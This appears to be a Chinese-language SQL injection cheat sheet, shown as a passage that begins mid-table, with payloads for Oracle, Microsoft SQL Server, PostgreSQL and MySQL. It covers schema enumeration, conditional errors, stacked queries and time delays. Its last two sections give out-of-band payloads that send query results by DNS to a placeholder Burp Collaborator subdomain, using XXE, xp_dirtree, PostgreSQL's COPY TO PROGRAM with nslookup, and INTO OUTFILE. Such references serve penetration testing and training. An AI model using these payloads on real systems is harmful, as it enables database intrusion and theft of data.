Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 'foo' 'bar' [注意在两个字符串中间有个空格] CONCAT('foo','bar')`
2. 字符串截取
你可以从具有指定长度的偏移量中提取字符串的一部分。注意,偏移量索引是基于1的。下面的每个表达式都将返回字符串 ba。
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)
3. 注释
您可以使用注释来截断查询,并删除你输入后的原始查询部分。
Oracle --comment
Microsoft --comment /*comment*/
PostgreSQL --comment /*comment*/
MySQL #comment -- comment [注意中间的空格] /*comment*/
4. 数据库版本查询
您可以通过查询数据库来确定其类型和版本。在构造更复杂的攻击时,这些信息很有用。
Oracle SELECT banner FROM v$versionSELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version
5. 数据库内容查询
您可以列出数据库中存在的表,以及这些表包含的列。
Oracle SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
6. 条件错误
您可以测试单个布尔条件,如果条件为真,则触发数据库错误。
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
7. 批量(或堆叠)查询
您可以使用批处理查询来连续执行多个查询。注意,在执行后面的查询时,不会将结果返回给应用程序。因此,这种技术主要用于与盲注漏洞相关的工作,在盲注漏洞中,您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。
Oracle 不支持批量查询
Microsoft QUERY-1-HERE; QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL QUERY-1-HERE; QUERY-2-HERE
注:在MySQL中,批处理查询通常不能用于SQL注入。但是,如果目标应用程序使用特定的PHP或Python api与MySQL数据库通信,这偶尔是可能的。
8. 延时
在处理查询时,可以在数据库中造成时间延迟。以下将造成10秒的无条件时间延迟。
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT sleep(10)
9. 有条件的延时
您可以测试单个布尔条件,如果条件为真,则触发时间延迟。
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
10. DNS查询
您可以使数据库对外部域执行DNS查找。为此,您将需要使用Burp Collaborator客户端来生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认发生了DNS查询。
Oracle 以下技术利用XML外部实体(XXE)漏洞来触发DNS查询。该漏洞已被修复,但安装Oracle的仍有很多未打补丁:SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual以下技术适用于完全打补丁的Oracle安装,但需要提升权限:SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoft exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQL copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQL 以下技巧只适用于Windows:LOAD_FILE('\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a')SELECT ... INTO OUTFILE '\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
11. DNS查询与数据提取
您可以让数据库对外部域执行DNS查询,查询中包括了SQL注入的结果。为此,您将需要使用Burp Collaborator客户端来生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括已提取的数据。
Oracle SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'\|\|(SELECT YOUR-QUERY-HERE)\|\|'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
| PostgreSQL | create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';execute c;END;$$ language plpgsql security definer;SELECT f(); || MySQL | 以下技巧只适用于Windows: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |